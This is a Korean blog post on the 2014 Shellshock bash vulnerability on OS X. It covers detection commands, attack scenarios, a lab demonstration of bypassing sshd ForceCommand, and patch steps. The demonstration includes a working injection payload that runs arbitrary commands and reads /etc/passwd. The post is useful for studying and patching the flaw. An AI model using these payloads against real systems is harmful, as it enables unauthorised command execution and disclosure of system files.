9 월 24일, bash 의 제로데이 취약점이 공개 되었다. 원래 포스팅할 생각은 없었으나 OS X에도 이 취약점이 발현 가능하기도하고 나름 재밌겠다 싶어서 포스팅하였다. 일단 이 취약점은 CVSS(Common Vulnerability Scoreing System)에서 10점을 받은만큼 위험도가 상당히 높은 취약점이다.
I. 진단 방법
현재 OS X 시스템에서 테스팅하려면, 터미널(Terminal) 프로그램을 실행해주고, 다음 명령어를 입력해주면 된다.
1 2 3 | $ env x= '() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test |
여 기에서 vulnerable 이라는 메시지가 보이면 해당 OS X는 이 취약점을 가지고 있다고 볼 수 있다. 이 취약점은 bash의 환경변수에 함수를 정의하고 뒤에 원하는 명령어를 작성하면 새로운 bash 프로세스가 실행될 때 환경 변수를 임포트(import)하면서 뒤의 명령어를 실행하게되는 취약점이다. 만약 패치가 된 시스템이면 다음과 같은 결과를 보여준다.
1 2 3 4 | $ env x= '() { :;}; echo vulnerable' bash -c " echo this is a test " bash : warning: x: ignoring function definition attempt bash : error importing function definition for <code>x' this is a test |
II. 공격 방법
1. 취약점 발현 시나리오
현재 MITRE의 CVE(Common Vulnerabilities and Exposures) 에 따르면 이 취약점 발현 시나리오는 다음과 같다.
- OpenSSH 의 sshd의 ForceCommand 기능을 우회하는데 사용할 수 있다. ForceCommand는 ssh로 접근하는 사용자가 제한된 명령어만 실행하도록 만든다. 하지만 이 취약점으로 허가되지 않은 명령을 실행할 수 있다. ForceCommand를 사용하더라도 사용자 계정을 알아야 하므로 제한적인 상황에서 사용 가능하다.
- 아 파치 웹 서버가 mod_cgi, mod_cgid 모듈을 사용하는 경우, CGI 스크립트를 이용하여 bash 명령어를 실행하거나, 서브쉘(subshell)을 띄울 수 있다. C, Python, Perl로 구현된 CGI의 경우에도 시스템 명령어를 사용하는 경우(system, open) 공격이 가능하다. 물론 최근에 CGI로 개발되는 사이트가 거의 없긴 하지만 말이다.
- DHCP 클라이언트가 악의적인 DHCP 서버로부터 획득한 값을 쉘 스크립트로 실행할 수 있다. 이 명령어는 루트 권한으로 실행된다. [Link]
- 그 외에 권한을 가지는 데몬에서 쉘 스크립트를 실행할 수 있는 경우 이 취약점을 이용하여 데몬의 권한으로 임의의 명령을 실행할 수 있다.
bash 명령어가 실행 가능한 모든 서비스에서 악용이 가능한만큼 위험도가 높다고 볼 수 있다. CVSS가 괜히 10점이 아닌 것이다..
2. 현재 공개된 익스플로잇 코드
현재 테스트 코드가 아닌 공격 목적의 코드는 다음과 같다. (사실 테스트 코드도 뒤에 명령어만 조금 바꿔주면 바로 공격이 가능하다.)
Bash Specially-created Environment Variables Code Injection Vulnerability (OS X 10.9.4 ~5 with Apache 2.2.26) [Link]
3. 테스트
웹서버 구동으로 테스트한 사례는 다음과 같다.
– Hacksum, [CVE-2014-6271] GNU Bash 원격코드 인젝션 취약점
본래 웹서비스를 대상으로 진행하려 했으나, 이미 위와 같은 테스트 결과가 있어서, ssh의 ForceCommand 우회 취약점을 테스트하였다. 공격 대상 서버는 다음과 같다.
- OS X 10.9.5 Mavericks (최신 버전) – bash 3.2.51(1)
- 원격 로그인(Remote Login) 활성화 – ssh, sftp
- ForceCommand 활성화
SSH 는 ForceCommand가 설정되어 있지 않으면, 쉘 명령어를 자유롭게 사용할 수 있으므로 취약점으로 보기 어렵다. 하지만 ForceCommand를 설정한 경우에는 취약점이 될 수 있다. ForceCommand는 사용자가 SSH로 접속 시 해당 옵션에 설정한 명령어만 수행하고 종료되도록 처리하는 옵션이다. 보통은 이 옵션을 활성화 시키지 않으나, 다음과 같은 경우 사용된다.
- 사용자 로그인 시 특정 스크립트를 실행
- 특정 명령어(rsync 등)를 주기적으로 수행하는 목적
- 중간에 프록시 SSH 서버를 두고 접속 시 다른 서버로 제어를 옮기도록 처리
우선 공격 대상 서버는 다음과 같이 설정(sshd_config)하였다.
1 2 3 4 5 | # Example of overriding settings on a per-user basis Match User victim X11Forwarding no AllowTcpForwarding no ForceCommand ls |
위와 같이 설정하면 클라이언트가 접속 시, ls 명령어 결과만 출력하고 종료된다.
1 2 3 4 | n0fates-Mac-mini:~ n0fate$ ssh victim@172.16.237.128 Desktop Downloads Movies Pictures Documents Library Music Public Connection to 172.16.237.128 closed. |
클라이언트 접속 시 뒤에 인자를 붙이더라도 ls의 인자로 붙어 처리되므로 원하는 명령어를 수행하지 못하고 종료된다. 세미콜론을 사용하더라도 클라이언트의 bash에서 핸들링하므로 올바른 처리가 안된다.
1 2 3 4 5 6 | $ ssh victim@172.16.237.128 ; /usr/bin/id Desktop Downloads Movies Pictures Documents Library Music Public Connection to 172.16.237.128 closed. uid=501(n0fate) gid=20(staff) groups =20(staff),…. $ |
1 2 3 4 5 | $ ssh victim@172.16.237.128 "; /usr/bin/id" Desktop Downloads Movies Pictures Documents Library Music Public Connection to 172.16.237.128 closed. $ |
하지만, 이번 취약점의 경우에는 환경 변수에 값을 넣으면서 생기는 취약점이기 때문에 SSH의 설정을 무시하고 명령어가 실행된다. 이번 취약점을 이용하여 코드를 작성하면 다음과 같은 결과를 확인할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | $ ssh victim@172.16.237.128 '() { :;}; /bin/cat /etc/passwd' ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User: /var/empty : /usr/bin/false root:*:0:0:System Administrator: /var/root : /bin/sh daemon:*:1:1:System Services: /var/root : /usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol: /var/spool/uucp : /usr/sbin/uucico ... |
ssh는 접속 시점에 받은 사용자 인자를 ‘$SSH_ORIGINAL_COMMAND’라는 환경 변수에 저장한다. 문제는 이 환경 변수가 bash 쉘의 환경 변수로 저장된다는 점이다. 위의 경우에는 다음과 같이 표현된다.
1 | $SSH_ORIGINAL_COMMAND= '() { :;}; /bin/cat /etc/passwd' |
즉, ForceCommand로 명령어 수행을 제한하더라도 공격자는 원하는 명령을 자유롭게 사용할 수 있다.
III. 패치 방법
OS X 사용자는 크게 2가지 방법으로 패치를 진행할 수 있다. 패치 방법은 stackexchange에 좋은 답변이 있어서 그대로 번역하였다. [Link]
1. 시스템 바이너리를 빌드하여 업데이트 하는 방법
homebrew 나 macport와 같은 repository를 사용하지 않는 경우 적용 가능한 방법으로 최신 bash를 다운로드하여 xcode로 빌드하는 방법이다. 애플 오픈소스 사이트에서 bash 소스 코드를 다운로드받고, 여기에 gnu에 올라온 bash 패치를 적용하여 빌드한다. 그리고 bash와 sh를 교체한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | $ mkdir bash -fix $ cd bash -fix $ curl https: //opensource .apple.com /tarballs/bash/bash-92 . tar .gz | tar zxf - $ cd bash -92 /bash-3 .2 $ curl https: //ftp .gnu.org /pub/gnu/bash/bash-3 .2-patches /bash32-052 | patch -p0 $ cd .. $ xcodebuild $ sudo cp /bin/bash /bin/bash .old $ sudo cp /bin/sh /bin/sh .old $ build /Release/bash --version # GNU bash, version 3.2.52(1)-release $ build /Release/sh --version # GNU bash, version 3.2.52(1)-release $ sudo cp build /Release/bash /bin $ sudo cp build /Release/sh /bin |
마지막으로 기존 bash 명령어에 실행 권한을 제거한다.
1 | $ sudo chmod a-x /bin/bash .old /bin/sh .old |
2. Homebrew 활용하기
Homebrew에는 이 취약점이 패치된 bash가 등록되어 있다. 간단하게 두 명령어로 패치를 진행할 수 있다.
1 2 | $ brew update $ brew upgrade bash |
IV. 패치의 한계
위에서 설명한 첫 번째 방법(GNU에서 받아 패치)이 적용된 bash는 여전히 취약점(CVE-2014-7169)을 가지고 있다. 이 취약점은 다음과 같은 명령어로 테스트해 볼 수 있다.
1 2 3 4 5 6 | $ env X='() { (a)=>\' sh -c " echo date "; cat echo sh: X: line 1: syntax error near unexpected token < /code >=' sh: X: line 1: <code>' sh: error importing function definition for < /code >X' Fri Sep 26 08:05:17 KST 2014 $ |
위와 같이 에러가 발생하면서 날짜가 표시되면 해당 취약점을 보유하고 있는 것이다. 현재 이 문제를 해결한 비공식 패치로 문제를 해결해야 한다. 단 이 패치에도 새로운 취약점은 발견될 수 있다.
2014-09-28
26일자로 올라온 bash32-053 패치로 문제가 해결되었다. 다음 링크의 순서대로 패치를 진행하면 두 취약점을 해결할 수 있다.
V. 참고 자료
CVE, CVE-2014-6271, http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
Red Hat Security, Bash specially-created environment variables code injection attack, https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/